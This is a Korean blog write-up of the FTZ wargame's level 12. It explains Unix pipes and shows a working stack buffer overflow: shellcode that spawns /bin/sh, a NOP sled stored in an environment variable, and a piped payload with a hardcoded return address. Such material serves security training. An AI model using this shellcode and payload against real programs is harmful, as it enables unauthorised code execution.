FTZ_level12

해킹/FTZ 11~20 2016. 1. 13. 16:50


level12의 소스코드다. level11과 거의 동일한 문제이나 argv가 아닌 gets로 입력을 받고있다.

이것은 파이프를 사용해 입력을 전달할 수 있냐고 묻는 문제이다. '|'(파이프)는 좌측의 표준출력을 우측의 표준입력으로 사용하겠다 이것이다.


예시를 보여주기 위헤 tmp에서 파일 몇개를 만들어봤다.

첫줄처럼 ls를 했을 경우에는 표준출력을 통해서 a.txt부터 test.txt까지 모든 파일들을 보여준다.

여기서 파이프를 사용해 ls | grep test를 해주면 ls의 표준출력인 위 파일 목록들이 grep 프로세스에 표준입력으로 들어가면서 grep 프로세스는 ls의 결과중에서 test라는 패턴에 일치하는 test1과 test.txt를 보여준 것이다.


마찬가지로

(파이썬 페이로드;cat)|./attackme 를 하게되면 앞의 페이썬 페이로드의 결과값을 cat을 통해 읽은 표준 출력값이 attackme 프로그램에 표준 입력값으로 들어가게 된다.


이 페이로드를 제외하고 나머지는 level11과 동일하다. 환경변수에 놉 1000개+쉘코드를 넣고, 페이로드로 a*268+쉘코드 주소


export oxqo=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


(python -c 'print "a"*268+"\x02\xd9\xff\xbf"';cat)|./attackme


위 두개를 입력해주면..





쉘이 조금 티안나게 뜨긴 했지만 my-pass가 성공했다.

끝-


'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
FTZ_level13  (0) 2016.01.13
FTZ_level11  (0) 2016.01.13
Tags
Social